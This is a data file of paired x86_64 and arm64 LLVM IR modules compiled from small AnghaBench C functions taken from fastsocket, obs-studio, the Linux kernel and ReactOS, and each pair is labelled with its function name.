"target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 24} !7 = !{!"TYPE_3__", !8, i64 0, !8, i64 8, !8, i64 16, !8, i64 24} !8 = !{!"any pointer", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!7, !8, i64 16} !12 = !{!7, !8, i64 8} !13 = !{!7, !8, i64 0}
poco_PDF_src_extr_hpdf_utils.c_HPDF_ToRect
; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/net/bna/extr_bna_enet.c_bna_enet_init.c' source_filename = "AnghaBench/fastsocket/kernel/drivers/net/bna/extr_bna_enet.c_bna_enet_init.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.bna_enet = type { ptr, ptr, ptr, ptr, i32, i64, i64, ptr } @BNA_ENET_T_REGULAR = dso_local local_unnamed_addr global i32 0, align 4 @bna_enet_sm_stopped = dso_local local_unnamed_addr global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @bna_enet_init], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal void @bna_enet_init(ptr noundef %0, ptr noundef %1) #0 { %3 = getelementptr inbounds %struct.bna_enet, ptr %0, i64 0, i32 7 store ptr %1, ptr %3, align 8, !tbaa !5 %4 = getelementptr inbounds %struct.bna_enet, ptr %0, i64 0, i32 5 tail call void @llvm.memset.p0.i64(ptr noundef nonnull align 8 dereferenceable(16) %4, i8 0, i64 16, i1 false) %5 = load i32, ptr @BNA_ENET_T_REGULAR, align 4, !tbaa !12 %6 = getelementptr inbounds %struct.bna_enet, ptr %0, i64 0, i32 4 store i32 %5, ptr %6, align 8, !tbaa !13 tail call void @llvm.memset.p0.i64(ptr noundef nonnull align 8 dereferenceable(32) %0, i8 0, i64 32, i1 false) %7 = load i32, ptr @bna_enet_sm_stopped, align 4, !tbaa !12 %8 = tail call i32 @bfa_fsm_set_state(ptr noundef nonnull %0, i32 noundef %7) #3 ret void } declare i32 @bfa_fsm_set_state(ptr noundef, i32 noundef) local_unnamed_addr #1 ; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write) declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #2 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nocallback nofree nounwind willreturn memory(argmem: write) } attributes #3 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 56} !6 = !{!"bna_enet", !7, i64 0, !7, i64 8, !7, i64 16, !7, i64 24, !10, i64 32, !11, i64 40, !11, i64 48, !7, i64 56} !7 = !{!"any pointer", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!"int", !8, i64 0} !11 = !{!"long", !8, i64 0} !12 = !{!10, !10, i64 0} !13 = !{!6, !10, i64 32}
; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/net/bna/extr_bna_enet.c_bna_enet_init.c' source_filename = "AnghaBench/fastsocket/kernel/drivers/net/bna/extr_bna_enet.c_bna_enet_init.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @BNA_ENET_T_REGULAR = common local_unnamed_addr global i32 0, align 4 @bna_enet_sm_stopped = common local_unnamed_addr global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @bna_enet_init], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal void @bna_enet_init(ptr noundef %0, ptr noundef %1) #0 { %3 = getelementptr inbounds i8, ptr %0, i64 56 store ptr %1, ptr %3, align 8, !tbaa !6 %4 = getelementptr inbounds i8, ptr %0, i64 40 tail call void @llvm.memset.p0.i64(ptr noundef nonnull align 8 dereferenceable(16) %4, i8 0, i64 16, i1 false) %5 = load i32, ptr @BNA_ENET_T_REGULAR, align 4, !tbaa !13 %6 = getelementptr inbounds i8, ptr %0, i64 32 store i32 %5, ptr %6, align 8, !tbaa !14 tail call void @llvm.memset.p0.i64(ptr noundef nonnull align 8 dereferenceable(32) %0, i8 0, i64 32, i1 false) %7 = load i32, ptr @bna_enet_sm_stopped, align 4, !tbaa !13 %8 = tail call i32 @bfa_fsm_set_state(ptr noundef nonnull %0, i32 noundef %7) #3 ret void } declare i32 @bfa_fsm_set_state(ptr noundef, i32 noundef) local_unnamed_addr #1 ; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write) declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #2 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nocallback nofree nounwind willreturn memory(argmem: write) } attributes #3 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 56} !7 = !{!"bna_enet", !8, i64 0, !8, i64 8, !8, i64 16, !8, i64 24, !11, i64 32, !12, i64 40, !12, i64 48, !8, i64 56} !8 = !{!"any pointer", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!"int", !9, i64 0} !12 = !{!"long", !9, i64 0} !13 = !{!11, !11, i64 0} !14 = !{!7, !11, i64 32}
fastsocket_kernel_drivers_net_bna_extr_bna_enet.c_bna_enet_init
; ModuleID = 'AnghaBench/obs-studio/libobs/extr_obs-source-deinterlace.c_uint64_diff.c' source_filename = "AnghaBench/obs-studio/libobs/extr_obs-source-deinterlace.c_uint64_diff.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @llvm.compiler.used = appending global [1 x ptr] [ptr @uint64_diff], section "llvm.metadata" ; Function Attrs: inlinehint mustprogress nofree norecurse nosync nounwind willreturn memory(none) uwtable define internal i64 @uint64_diff(i64 noundef %0, i64 noundef %1) #0 { %3 = sub nsw i64 %0, %1 %4 = tail call i64 @llvm.abs.i64(i64 %3, i1 true) ret i64 %4 } ; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none) declare i64 @llvm.abs.i64(i64, i1 immarg) #1 attributes #0 = { inlinehint mustprogress nofree norecurse nosync nounwind willreturn memory(none) uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
; ModuleID = 'AnghaBench/obs-studio/libobs/extr_obs-source-deinterlace.c_uint64_diff.c' source_filename = "AnghaBench/obs-studio/libobs/extr_obs-source-deinterlace.c_uint64_diff.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @llvm.used = appending global [1 x ptr] [ptr @uint64_diff], section "llvm.metadata" ; Function Attrs: inlinehint mustprogress nofree norecurse nosync nounwind ssp willreturn memory(none) uwtable(sync) define internal i64 @uint64_diff(i64 noundef %0, i64 noundef %1) #0 { %3 = sub nsw i64 %0, %1 %4 = tail call i64 @llvm.abs.i64(i64 %3, i1 true) ret i64 %4 } ; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none) declare i64 @llvm.abs.i64(i64, i1 immarg) #1 attributes #0 = { inlinehint mustprogress nofree norecurse nosync nounwind ssp willreturn memory(none) uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
obs-studio_libobs_extr_obs-source-deinterlace.c_uint64_diff
; ModuleID = 'AnghaBench/linux/sound/isa/ad1816a/extr_ad1816a_lib.c_snd_ad1816a_write.c' source_filename = "AnghaBench/linux/sound/isa/ad1816a/extr_ad1816a_lib.c_snd_ad1816a_write.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @AD1816A_INDIR_ADDR = dso_local local_unnamed_addr global i32 0, align 4 @AD1816A_INDIR_DATA_LOW = dso_local local_unnamed_addr global i32 0, align 4 @AD1816A_INDIR_DATA_HIGH = dso_local local_unnamed_addr global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @snd_ad1816a_write], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal void @snd_ad1816a_write(ptr noundef %0, i8 noundef zeroext %1, i16 noundef zeroext %2) #0 { %4 = load i32, ptr @AD1816A_INDIR_ADDR, align 4, !tbaa !5 %5 = and i8 %1, 63 %6 = zext nneg i8 %5 to i16 %7 = tail call i32 @snd_ad1816a_out(ptr noundef %0, i32 noundef %4, i16 noundef zeroext %6) #2 %8 = load i32, ptr @AD1816A_INDIR_DATA_LOW, align 4, !tbaa !5 %9 = and i16 %2, 255 %10 = tail call i32 @snd_ad1816a_out(ptr noundef %0, i32 noundef %8, i16 noundef zeroext %9) #2 %11 = load i32, ptr @AD1816A_INDIR_DATA_HIGH, align 4, !tbaa !5 %12 = lshr i16 %2, 8 %13 = tail call i32 @snd_ad1816a_out(ptr noundef %0, i32 noundef %11, i16 noundef zeroext %12) #2 ret void } declare i32 @snd_ad1816a_out(ptr noundef, i32 noundef, i16 noundef zeroext) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"int", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"}
; ModuleID = 'AnghaBench/linux/sound/isa/ad1816a/extr_ad1816a_lib.c_snd_ad1816a_write.c' source_filename = "AnghaBench/linux/sound/isa/ad1816a/extr_ad1816a_lib.c_snd_ad1816a_write.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @AD1816A_INDIR_ADDR = common local_unnamed_addr global i32 0, align 4 @AD1816A_INDIR_DATA_LOW = common local_unnamed_addr global i32 0, align 4 @AD1816A_INDIR_DATA_HIGH = common local_unnamed_addr global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @snd_ad1816a_write], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal void @snd_ad1816a_write(ptr noundef %0, i8 noundef zeroext %1, i16 noundef zeroext %2) #0 { %4 = load i32, ptr @AD1816A_INDIR_ADDR, align 4, !tbaa !6 %5 = and i8 %1, 63 %6 = zext nneg i8 %5 to i16 %7 = tail call i32 @snd_ad1816a_out(ptr noundef %0, i32 noundef %4, i16 noundef zeroext %6) #2 %8 = load i32, ptr @AD1816A_INDIR_DATA_LOW, align 4, !tbaa !6 %9 = and i16 %2, 255 %10 = tail call i32 @snd_ad1816a_out(ptr noundef %0, i32 noundef %8, i16 noundef zeroext %9) #2 %11 = load i32, ptr @AD1816A_INDIR_DATA_HIGH, align 4, !tbaa !6 %12 = lshr i16 %2, 8 %13 = tail call i32 @snd_ad1816a_out(ptr noundef %0, i32 noundef %11, i16 noundef zeroext %12) #2 ret void } declare i32 @snd_ad1816a_out(ptr noundef, i32 noundef, i16 noundef zeroext) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"}
linux_sound_isa_ad1816a_extr_ad1816a_lib.c_snd_ad1816a_write
; ModuleID = 'AnghaBench/linux/net/sched/extr_act_ipt.c_tcf_ipt_search.c' source_filename = "AnghaBench/linux/net/sched/extr_act_ipt.c_tcf_ipt_search.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @ipt_net_id = dso_local local_unnamed_addr global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @tcf_ipt_search], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal i32 @tcf_ipt_search(ptr noundef %0, ptr noundef %1, i32 noundef %2) #0 { %4 = load i32, ptr @ipt_net_id, align 4, !tbaa !5 %5 = tail call ptr @net_generic(ptr noundef %0, i32 noundef %4) #2 %6 = tail call i32 @tcf_idr_search(ptr noundef %5, ptr noundef %1, i32 noundef %2) #2 ret i32 %6 } declare ptr @net_generic(ptr noundef, i32 noundef) local_unnamed_addr #1 declare i32 @tcf_idr_search(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"int", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"}
; ModuleID = 'AnghaBench/linux/net/sched/extr_act_ipt.c_tcf_ipt_search.c' source_filename = "AnghaBench/linux/net/sched/extr_act_ipt.c_tcf_ipt_search.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @ipt_net_id = common local_unnamed_addr global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @tcf_ipt_search], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal i32 @tcf_ipt_search(ptr noundef %0, ptr noundef %1, i32 noundef %2) #0 { %4 = load i32, ptr @ipt_net_id, align 4, !tbaa !6 %5 = tail call ptr @net_generic(ptr noundef %0, i32 noundef %4) #2 %6 = tail call i32 @tcf_idr_search(ptr noundef %5, ptr noundef %1, i32 noundef %2) #2 ret i32 %6 } declare ptr @net_generic(ptr noundef, i32 noundef) local_unnamed_addr #1 declare i32 @tcf_idr_search(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"}
linux_net_sched_extr_act_ipt.c_tcf_ipt_search
; ModuleID = 'AnghaBench/reactos/dll/directx/wine/dmusic/extr_port.c_unsafe_impl_from_IDirectMusicDownloadedInstrument.c' source_filename = "AnghaBench/reactos/dll/directx/wine/dmusic/extr_port.c_unsafe_impl_from_IDirectMusicDownloadedInstrument.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @DirectMusicDownloadedInstrument_Vtbl = dso_local global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @unsafe_impl_from_IDirectMusicDownloadedInstrument], section "llvm.metadata" ; Function Attrs: inlinehint nounwind uwtable define internal ptr @unsafe_impl_from_IDirectMusicDownloadedInstrument(ptr noundef %0) #0 { %2 = icmp eq ptr %0, null br i1 %2, label %9, label %3 3: ; preds = %1 %4 = load ptr, ptr %0, align 8, !tbaa !5 %5 = icmp eq ptr %4, @DirectMusicDownloadedInstrument_Vtbl %6 = zext i1 %5 to i32 %7 = tail call i32 @assert(i32 noundef %6) #2 %8 = tail call ptr @impl_from_IDirectMusicDownloadedInstrument(ptr noundef nonnull %0) #2 br label %9 9: ; preds = %1, %3 %10 = phi ptr [ %8, %3 ], [ null, %1 ] ret ptr %10 } declare i32 @assert(i32 noundef) local_unnamed_addr #1 declare ptr @impl_from_IDirectMusicDownloadedInstrument(ptr noundef) local_unnamed_addr #1 attributes #0 = { inlinehint nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 0} !6 = !{!"TYPE_4__", !7, i64 0} !7 = !{!"any pointer", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"}
; ModuleID = 'AnghaBench/reactos/dll/directx/wine/dmusic/extr_port.c_unsafe_impl_from_IDirectMusicDownloadedInstrument.c' source_filename = "AnghaBench/reactos/dll/directx/wine/dmusic/extr_port.c_unsafe_impl_from_IDirectMusicDownloadedInstrument.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @DirectMusicDownloadedInstrument_Vtbl = common global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @unsafe_impl_from_IDirectMusicDownloadedInstrument], section "llvm.metadata" ; Function Attrs: inlinehint nounwind ssp uwtable(sync) define internal ptr @unsafe_impl_from_IDirectMusicDownloadedInstrument(ptr noundef %0) #0 { %2 = icmp eq ptr %0, null br i1 %2, label %9, label %3 3: ; preds = %1 %4 = load ptr, ptr %0, align 8, !tbaa !6 %5 = icmp eq ptr %4, @DirectMusicDownloadedInstrument_Vtbl %6 = zext i1 %5 to i32 %7 = tail call i32 @assert(i32 noundef %6) #2 %8 = tail call ptr @impl_from_IDirectMusicDownloadedInstrument(ptr noundef nonnull %0) #2 br label %9 9: ; preds = %1, %3 %10 = phi ptr [ %8, %3 ], [ null, %1 ] ret ptr %10 } declare i32 @assert(i32 noundef) local_unnamed_addr #1 declare ptr @impl_from_IDirectMusicDownloadedInstrument(ptr noundef) local_unnamed_addr #1 attributes #0 = { inlinehint nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 0} !7 = !{!"TYPE_4__", !8, i64 0} !8 = !{!"any pointer", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"}
reactos_dll_directx_wine_dmusic_extr_port.c_unsafe_impl_from_IDirectMusicDownloadedInstrument
